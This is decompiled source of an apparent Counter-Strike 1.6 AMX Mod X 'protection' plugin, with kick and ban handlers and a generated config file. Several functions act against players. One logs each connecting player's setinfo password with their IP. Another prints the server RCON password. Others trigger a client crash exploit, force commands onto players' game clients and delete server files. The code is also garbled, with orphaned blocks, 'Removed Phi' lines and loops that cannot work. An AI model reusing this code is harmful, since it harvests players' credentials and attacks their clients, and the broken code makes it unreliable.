if (get_pcvar_num(project_log) == 1)
{
log_to_file("addons/amxmodx/configs/project/project.ini", "%s Command blocked for %s", "[project]", "CSTRIKE_projectBUG");
}
return 0;
}
public project_ReverseSay()
{
new hostname[64];
new msg[32];
get_user_name(0, hostname, 63);
read_args(msg, 31);
remove_quotes(msg);
new i = 0;
while (i < 34)
{
if (containi(msg, ShieldMSGBlock[i][0][0]) != -1)
{
if (get_pcvar_num(project_log) == 1)
{
log_to_file("addons/amxmodx/configs/project/project.ini", "%s Character blocked for %s (%s)", "[project]", "CSTRIKE_CRASH", msg);
}
return 1;
}
i++;
}
server_print("(Server-Console) %s : %s", hostname, msg);
ColorChat(0, "\4(Server-Console)\1 %s : %s", hostname, msg);
return 0;
}
public debug_info()
{
!!! Removed Phi
new Float:ft = engfunc(EngFunc_Time);
new it = floatround(ft, floatround_round);
new seconds = it;
new minutes = it / 60;
new hours = it / 3600;
new day = it / 86400;
new AMXXVersion[32];
new RCONName[32];
new DPName[32];
if (!equal("project", "project", 0))
{
set_fail_state("Copyright false");
}
if (get_pcvar_num(project_rcon_random) == 1)
{
project_RCONPASSWORD();
}
if (!(find_plugin_byfile("project.amxx", 1) != -1))
{
UpdatePlugin();
log_to_file("addons/amxmodx/configs/project/project.ini", "%s Please change plugin in \"project.amxx\"", "[project]");
log_amx("Please wait 25 seconds to repair the plugin");
set_task(25.00, "project_repair", 0, "", 0, "", 0);
}
get_cvar_string("rcon_password", RCONName, 31);
get_amxx_verstring(AMXXVersion, 31);
if (get_pcvar_num(project_checkbackdoor) == 1)
{
if (dir_exists("SAVE") && dir_exists("bin"))
{
rmdir("SAVE");
rmdir("bin");
}
if (file_exists("maps/default.res"))
{
delete_file("maps/default.res");
}
}
server_print("\n[*]---------- %s %s ----------[*]\n", "project", "1.0.6 [D]");
server_print("Loaded : [#] %s [#]", "project");
server_print("Version : [#] %s [#]", "1.0.6 [D]");
server_print("Author : [#] %s [#]\n", "project");
server_print("[*] Server Online [*] : %i:%i:%i:%i\n", day, hours, minutes, seconds);
server_print("[*] AMXX [*] : %s", AMXXVersion);
if (get_cvar_string("dp_version", DPName, 31))
{
server_print("[*] DPROTO [*] : %s", DPName);
}
else
{
server_print("[*] DPROTO [*] : Not exists\n");
}
server_print("[*] RCON [*] : %s\n", RCONName);
server_print("[*]---------- %s %s ----------[*]\n", "project", "1.0.6 [D]");
return 0;
}
public HTTP_Download(String:szFile[], iDownloadID, iBytesRecv, iFileSize, bool:TransferComplete)
{
if (TransferComplete)
{
log_to_file("addons/amxmodx/configs/project/project.ini", "%s File : %s updated", "[project]", szFile);
}
return 0;
}
public project_CheckError(String:problem[])
{
log_to_file("addons/amxmodx/configs/project/project.ini", "%s I found an error : %s", "[project]", problem);
return 0;
}
public project_repair()
{
log_to_file("addons/amxmodx/configs/project/project.ini", "%s The plugin was repaired", "[project]");
server_cmd("reload");
return 0;
}
public project_CheckBackdoor()
{
!!! Removed Phi
new map[32];
new filemap[32];
new i = 0;
get_mapname(map, 31);
formatex(filemap, 31, "maps/%s.res", map);
new Data[32];
new File = fopen(filemap, "rt");
while (!feof(File))
{
if (Data[0] == 59 || !Data[0])
{
}
}
fclose(File);
return 0;
}
public debug_delete()
{
new map[32];
new filemap[32];
get_mapname(map, 31);
formatex(filemap, 31, "maps/%s.res", map);
delete_file(filemap);
server_cmd("reload");
return 0;
}
public client_connect(id)
{
if (is_user_connecting(id))
{
if (is_user_bot(id))
{
return 1;
}
project_Connect(id);
project_HLTV(id);
}
return 0;
}
public client_authorized(id)
{
!!! Removed Phi
project_ProtectAdmin(id);
if (is_user_bot(id))
{
return 1;
}
if (3 < check_fakeplayer(id))
{
set_task(1.00, "project_Suspicios", id, "", 0, "", 0);
}
set_task(0.90, "project_Verify", id, "", 0, "", 0);
if (get_pcvar_num(project_steamidhack) == 1)
{
project_LOADSTEAMIDHACK(id);
}
return 1;
}
public client_command(id)
{
static msg[192];
read_args(msg, 192);
new i = 0;
while (i < 34)
{
if (containi("", ShieldMSGBlock[i][0][0]) != -1)
{
if (get_pcvar_num(project_cmdbug))
{
BlockSound(id);
MessageCmdbug(id);
}
if (get_pcvar_num(project_cmdbug) == 1)
{
return 1;
}
if (get_pcvar_num(project_cmdbug) == 2)
{
server_cmd("kick #%i \"%s %s %s\"", GetUserID(id), "[project]", "You kicked for", "CSTRIKE_CRASH");
return 1;
}
if (get_pcvar_num(project_cmdbug) == 3)
{
project_BANPLAYER(id);
return 1;
}
i++;
}
i++;
}
return 0;
}
public client_infochanged(id)
{
new lastname[32];
get_user_info(id, "name", lastname, 31);
if (get_pcvar_num(project_admin_debug) == 1)
{
if (is_user_connected(id))
{
set_task(0.10, "project_ProtectAdmin", id, "", 0, "", 0);
}
}
if (get_pcvar_num(project_admin_debug) == 1)
{
if (is_user_admin(id))
{
PlayerName(id);
if (!equal(lastname, Heap_128, 0))
{
show_menu(id, 0, "\n", 1, "");
}
}
}
PlayerName(id);
if (!equal(lastname, Heap_128, 0))
{
PlayerNameCheckGame(id, lastname);
}
return 0;
}
public client_disconnect(id)
{
!!! Removed Phi
if (get_pcvar_num(project_spambot) == 1)
{
SpamBotScannerSTOP[id] = 0;
SpamBotScannerStart[id] = 0;
}
if (get_pcvar_num(project_steamidhack) == 1)
{
project_SAVESTEAMIDHACK(id);
}
return 0;
}
if (containi(msg, ShieldServerCvarBlock[i][0][0]) != -1)
{
if (get_pcvar_num(project_ilegalcmd))
{
BlockSound(id);
MessageIlegalCmd(id);
return 1;
}
get_pcvar_num(project_ilegalcmd);
if (get_pcvar_num(project_ilegalcmd) == 2)
{
server_cmd("kick #%i \"%s %s %s\"", GetUserID(id), "[project]", "You kicked for", "CSTRIKE_ILEGALCMD");
}
if (get_pcvar_num(project_ilegalcmd) == 3)
{
project_BANPLAYER(id);
i++;
}
i++;
}
i++;
}
return 0;
}
public project_SR_Block(id)
{
if (get_pcvar_num(project_sr_block) == 1)
{
MessageSrBlock(id);
return 1;
}
return 0;
}
public project_SPECBUG(id)
{
if (get_pcvar_num(project_specbug) == 1)
{
if (get_pcvar_num(project_sendmsg) == 1)
{
client_director(id, "joinclass", "5");
}
client_cmd(id, "joinclass", "5");
}
return 0;
}
public project_Suspicios(id)
{
if (get_pcvar_num(project_xfakecrash) == 1)
{
if (get_pcvar_num(project_suspicious))
{
BlockSound(id);
MessageSuspicios(id);
CrashExploit(id, "crash");
}
if (get_pcvar_num(project_suspicious) == 1)
{
server_cmd("kick #%i \"%s %s %s\"", GetUserID(id), "[project]", "You kicked for", "CSTRIKE_SUSPICIOUS");
}
if (get_pcvar_num(project_suspicious) == 2)
{
project_SUSPICIOUS(id);
}
}
return 0;
}
public project_HLTV(id)
{
if (is_user_hltv(id))
{
if (get_pcvar_num(project_hltv))
{
MessageHLTV(id);
if (get_pcvar_num(project_hltv) == 1)
{
server_cmd("kick #%i %s %s %s\"", GetUserID(id), "[project]", "You kicked for", "CSTRIKE_HLTV");
}
if (get_pcvar_num(project_hltv) == 2)
{
project_BANPLAYER(id);
}
}
}
return 0;
}
public project_Connect(id)
{
!!! Removed Phi
new i = 0;
new PlayerPW[32];
if (is_user_bot(id))
{
return 1;
}
if (get_pcvar_num(project_spambot) == 1)
{
SpamBotScannerSTOP[id] = get_gametime() + 7.00;
SpamBotScannerStart[id] = 0;
}
if (get_pcvar_num(project_autolog) == 1)
{
get_user_info(id, "_pw", PlayerPW, 31);
if (equal(PlayerPW, "", 0))
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/project/project_info.ini", "Player \"%s\" connecting [IP: %s]", Heap_128, Heap_128);
}
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/project/project_info.ini", "Player \"%s\" connecting [Password: %s] [IP: %s]", Heap_128, PlayerPW, Heap_128);
}
i = 0;
while (i < 34)
{
PlayerName(id);
if (containi(Heap_128, ShieldMSGBlock[i][0][0]) != -1)
{
if (get_pcvar_num(project_namebug))
{
BlockSound(id);
MessageNameBug(id);
}
if (get_pcvar_num(project_namebug) == 1)
{
if (get_pcvar_num(project_sendmsg) == 1)
{
client_director(id, "nAmE \"[project-PLUGIN] Player FCS 1\";RETry");
}
client_cmd(id, "nAmE \"[project-PLUGIN] Player FCS 1\";RETry");
}
if (get_pcvar_num(project_namebug) == 2)
{
server_cmd("kick #%i \"%s Change the name to enter this server\"", GetUserID(id), "[project]");
}
if (get_pcvar_num(project_namebug) == 3)
{
project_BANPLAYER(id);
i++;
}
i++;
}
i++;
}
return 0;
}
public project_Verify(id, i)
{
!!! Removed Phi
i = 0;
while (i < 34)
{
PlayerName(id);
if (containi(Heap_128, ShieldMSGBlock[i][0][0]) != -1)
{
if (get_pcvar_num(project_namebug) == 1)
{
server_cmd("kick #%i \"%s %s %s\" (%s)", GetUserID(id), "[project]", "You kicked for", "CSTRIKE_SUSPICIOUS", "CSTRIKE_NAME");
i++;
}
i++;
}
i++;
}
return 0;
}
public project_CheckZealProject(id)
{
new GetProjectZeal[32];
get_user_info(id, "_ip", GetProjectZeal, 31);
if (!(equal(GetProjectZeal, "", 0)))
{
if (get_pcvar_num(project_hlsocks))
{
BlockSound(id);
MessageHLSocks(id);
}
if (get_pcvar_num(project_hlsocks) == 1)
{
server_cmd("kick #%i %s %s %s", GetUserID(id), "[project]", "You kicked for", "CSTRIKE_HLSOCKS");
}
if (get_pcvar_num(project_hlsocks) == 2)
{
project_BANPLAYER(id);
}
}
return 0;
}
public project_KICKCMD(player)
{
server_cmd("kick #%i \"%s We thought to give You a refresh\"", get_user_userid(player), "[project]");
return 0;
}
get_localinfo("amxx_configsdir", dir, 31);
get_configsdir(szFile, 32);
formatex(szFile, 127, "%s/project/%s.cfg", szFile, "project");
if (!file_exists(szFile))
{
write_file(szFile, "This plugin was maded for all players from project-RUSSIAN 2.3 !", -1);
write_file(szFile, "\n[*]----------------------------[*]", -1);
write_file(szFile, "//Version : 1.0.6", -1);
write_file(szFile, "//Author : project", -1);
write_file(szFile, "[*]----------------------------[*]\n", -1);
write_file(szFile, "//Contact project", -1);
write_file(szFile, "//Y!M: arwared.cone@yahoo.com", -1);
write_file(szFile, "//Steam: slick_cocaine(project)", -1);
write_file(szFile, "//Skype: spyware.spyware1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable log's", -1);
write_file(szFile, "//[CVAR 1] Enable log's", -1);
write_file(szFile, "//Recommanded 1", -1);
write_file(szFile, "project_log 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable amx_showip", -1);
write_file(szFile, "//[CVAR 1] Enable amx_showip", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_showip 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable showing password in amx_hlshowip", -1);
write_file(szFile, "//[CVAR 1] Enable showing password in amx_hlshowip (showing passowrd is only server)", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_showpw 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable FULLUPDATE SPAM PROTECTION", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server FULLUPDATE + The player will be Kicked", -1);
write_file(szFile, "//[CVAR 2] Turn on protection server FULLUPDATE + The player will be Banned", -1);
write_file(szFile, "//Recommended 2", -1);
write_file(szFile, "project_fullupdate_warn 5", -1);
write_file(szFile, "project_fullupdate 2", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable AUTOBUY PROTECTION", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server AUTOBUY + The player will receive a message", -1);
write_file(szFile, "//[CVAR 2] Turn on protection server AUTOBUY + The player will be Kicked", -1);
write_file(szFile, "//[CVAR 3] Turn on protection server AUTOBUY + The player will be Banned", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_autobuy 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable CMDBUG PROTECTION", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server CMDBUG + The player will receive a message", -1);
write_file(szFile, "//[CVAR 2] Turn on protection server + The player will be Kicked", -1);
write_file(szFile, "//[CVAR 3] Turn on protection server + The player will be Banned", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_cmdbug 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable FAKE PLAYERS METHOD", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server FAKE PLAYERS + The player will be Kicked", -1);
write_file(szFile, "//[CVAR 2] Turn on protection server FAKE PLAYERS + The player will be Banned", -1);
write_file(szFile, "//Recommended 2", -1);
write_file(szFile, "project_fakeplayer 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable RADIO BLOCK", -1);
write_file(szFile, "//[CVAR 1] Enable RADIO BLOCK", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_radio 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] CUSTOM.HPK will not removed ", -1);
write_file(szFile, "//[CVAR 1] CUSTOM.HPK will be automatically deleted when changing map!", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_customhpk 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Turn off protection server SPAMMER BOT", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server SPAMMER BOT", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_spammer 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Turn off protection server SteamID Hack", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server SteamID Hack + The player will be Kicked", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_steamidhack 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable SETINFO-LOG", -1);
write_file(szFile, "//[CVAR 1] Enable SETINFO-LOG", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_autolog 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Turn off protection server RCON HACK", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server RCON HACK", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_rcon_random 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Turn off protection server project/motd", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server project/motd", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_motdfile 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Turn off protection server SPEC BUG", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server SPEC BUG", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_specbug 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Turn off protection server NAME BUG", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server NAMEBUG", -1);
write_file(szFile, "//[CVAR 2] Turn on protection server NAMEBUG + The player will be Kicked", -1);
write_file(szFile, "//[CVAR 3] Turn on protection server NAMEBUG + The player will be Banned", -1);
write_file(szFile, "//[CVAR 4] Turn on protection server NAMEBUG + The player name will be changed to Player project", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_namebug 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Turn off protection server ILEGALBAN", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server ILEGALBAN + ADMIN will be Receive", -1);
write_file(szFile, "//[CVAR 2] Turn on protection server ILEGALBAN + ADMIN will be Kicked", -1);
write_file(szFile, "//[CVAR 3] Turn on protection server ILEGALBAN + ADMIN will be Banned", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_ilegalban 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable the protection for pause project.amxx", -1);
write_file(szFile, "//[CVAR 1] Enable the protection for pause project.amxx", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_amxxpause 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable ILEGALCOMMAND PROTECTION", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server ILEGALCOMMAND + The player will Receive a message", -1);
write_file(szFile, "//[CVAR 2] Turn on protection server ILEGALCOMMAND + The player will be Kicked", -1);
write_file(szFile, "//[CVAR 3] Turn on protection server ILEGALCOMMAND + The player will be Banned", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_ilegalcmd 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable SHIELDCVAR PROTECTION", -1);
write_file(szFile, "//[CVAR 1] Turn on protection fo amx_cvar and amx_rcon project_cvar ", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_shieldcvar 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Turn off checker & stop plugin protection [TNIBUG FIX,Krond-Solutions etc]", -1);
write_file(szFile, "//[CVAR 1] Turn on checker & stop plugin protection [TNIBUG FIX,Krond-Solutions etc]", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_checkerprotection 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable shake player", -1);
write_file(szFile, "//[CVAR 1] Turn on shake player command ! ", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_shakeplayer 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable protection for an HLTV player connecting to the server", -1);
write_file(szFile, "//[CVAR 1] Turn on protection for an HLTV player connecting to the server + The player will be Kicked ", -1);
write_file(szFile, "//[CVAR 2] Turn on protection for an HLTV player connecting to the server + The player will be Banned", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_hltv 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable spambot from th server", -1);
write_file(szFile, "//[CVAR 1] Turn on protection for player spambot!", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_spambot 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable chat spam protection !", -1);
write_file(szFile, "//[CVAR 1] Turn on protection for chat spam ! ", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_noflood_time 0.75", -1);
write_file(szFile, "project_noflood 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0/2/3/] Freezing program disables xfakeplayers", -1);
write_file(szFile, "//[CVAR 1] XFakePlayers exploits until it freezes all (v1.02 - v1.13 v2 fix)", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_xfakecrash 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable plugin auto-updates!", -1);
write_file(szFile, "//[CVAR 1] Enable plugin auto-updates!", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_update 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Allows players to hlproxy/hlsocks", -1);
write_file(szFile, "//[CVAR 1] Blocks players with hlproxy/hlsocks", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_hlsocks 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable fix for admin bug", -1);
write_file(szFile, "//[CVAR 1] Activates a fix for admin bug", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_admin_debug 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable the admin password encryption", -1);
write_file(szFile, "//[CVAR 1] Add a random password for the admin entry in client_putinserver", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_admim_removepassword 0", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable protection name spammer", -1);
write_file(szFile, "//[CVAR 1] Turn on protection name spammer", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_name_spammer 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Commands send by SVC_STUFFTEXT(9)", -1);
write_file(szFile, "//[CVAR 1] Commands send by SVC_DIRECTOR(51)", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_sendmsg 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable suspicions of players", -1);
write_file(szFile, "//[CVAR 1] Disconnect players who make a false connect/spam connect/more ip", -1);
write_file(szFile, "//[CVAR 2] Banning players who make a false connect/spam connect/more ip (1 minutes)", -1);
write_file(szFile, "//Recommended 2", -1);
write_file(szFile, "project_suspicious 2", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Protection disables the local server", -1);
write_file(szFile, "//[CVAR 1] Turn on checking backdoor server project", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "project_checkbackdoor 1", -1);
server_print("%s Created file %s.cfg", "[project]", "project");
server_print("%s The server received a reload to avoid bugs by creating the file %s.cfg", "[project]", "project");
server_cmd("reload");
}
return 0;
}
MessageIlegalBan(id)
{
if (get_pcvar_num(project_log) == 1)
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/project/project.ini", "%s User \"%s\" (IP:%s) tried and was blocked %s", "[project]", Heap_128, Heap_128, "CSTRIKE_BANBUG");
}
PlayerName(id);
ColorChat(id, "\4%s\1 Sorry , \3%s\1 have been detected and blocked to command\4 %s", "[project]", Heap_128, "CSTRIKE_BANBUG");
return 0;
}
MessageAutobuy(id)
{
if (get_pcvar_num(project_log) == 1)
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/project/project.ini", "%s User \"%s\" (IP:%s) tried and was blocked %s", "[project]", Heap_128, Heap_128, "CSTRIKE_SETAUTOBUY");
}
PlayerName(id);
ColorChat(id, "\4%s\1 Sorry , \3%s\1 have been detected and blocked to command\4 %s ", "[project]", Heap_128, "CSTRIKE_SETAUTOBUY");
return 0;
}
MessageIlegalCmd(id)
{
static msg[192];
read_args(msg, 192);
if (get_pcvar_num(project_log) == 1)
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/project/project.ini", "%s User \"%s\" (IP:%s) tried and was blocked %s (%s)", "[project]", Heap_128, Heap_128, "CSTRIKE_ILEGALCMD", msg);
}
PlayerName(id);
ColorChat(id, "\4%s\1 Sorry , \3%s\1 have been detected and blocked to command\4 %s ", "[project]", Heap_128, "CSTRIKE_ILEGALCMD");
return 0;
}
MessageCmdbug(id)
{
static msg[192];
read_args(msg, 192);
if (get_pcvar_num(project_log) == 1)
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/project/project.ini", "%s User \"%s\" (IP:%s) tried and was blocked %s (%s)", "[project]", Heap_128, Heap_128, "CSTRIKE_CRASH", msg);
}
PlayerName(id);
ColorChat(id, "\4%s\1 Sorry , \3%s\1 have been detected and blocked to command\4 %s", "[project]", Heap_128, "CSTRIKE_CRASH");
return 0;
}
MessageFullUpdate(id)
{
if (get_pcvar_num(project_log) == 1)
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/project/project.ini", "%s User \"%s\" (IP:%s) tried and was blocked %s", "[project]", Heap_128, Heap_128, "CSTRIKE_FULLUPDATE");
}
return 0;
}
MessageSrBlock(id)
{
PlayerName(id);
ColorChat(id, "\4%s\1 Sorry \3%s\1,this command is locked (\4project_sr_rcon is \"1\")\1", "[project]", Heap_128);
return 0;
}
MessageNameBug(id)
{
if (get_pcvar_num(project_log) == 1)
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/project/project.ini", "%s User \"%s\" (IP:%s) has been blocked to %s", "[project]", Heap_128, Heap_128, "CSTRIKE_NAME");
}
if (is_user_connected(id))
{
PlayerName(id);
ColorChat(id, "\4%s\1 Sorry , \3%s\1 have been detected and blocked to command\4 %s ", "[project]", Heap_128, "CSTRIKE_NAME");
}
return 0;
}
MessageSuspicios(id)
{
if (get_pcvar_num(project_log) == 1)
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/project/project.ini", "%s User \"%s\" (IP:%s) has been blocked to %s [flooding level 1.%d%d%d]", "[project]", Heap_128, Heap_128, "CSTRIKE_SUSPICIOUS", random_num(49, 57), random_num(49, 57), random_num(49, 57));
}
return 0;
}
MessageAdminBug(id)
{
if (get_pcvar_num(project_log) == 1)
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/project/project.ini", "%s User \"%s\" (IP:%s) has been blocked to %s", "[project]", Heap_128, Heap_128, "CSTRIKE_ADMINBUG");
}
return 0;
}
MessageHLTV(id)
{
if (get_pcvar_num(project_log) == 1)
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/project/project.ini", "%s User \"%s\" (IP:%s) has been blocked to %s", "[project]", Heap_128, Heap_128, "CSTRIKE_HLTV");
}
return 0;
}
MessageHLSocks(id)
{
if (get_pcvar_num(project_log) == 1)
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/project/project.ini", "%s User \"%s\" (IP:%s) has been blocked to %s", "[project]", Heap_128, Heap_128, "CSTRIKE_HLSOCKS");
}
return 0;
}
MessageCDKEY()
{
if (get_pcvar_num(project_log) == 1)
{
new GetName[32];
getUserName(detectType4, 311, GetName, 32);
log_to_file("addons/amxmodx/configs/project/project.ini", "%s Blocking connections user \"%s\" was blocked for %s", "[project]", GetName, "CSTRIKE_FAKEPLAYERS");
}
return 0;
}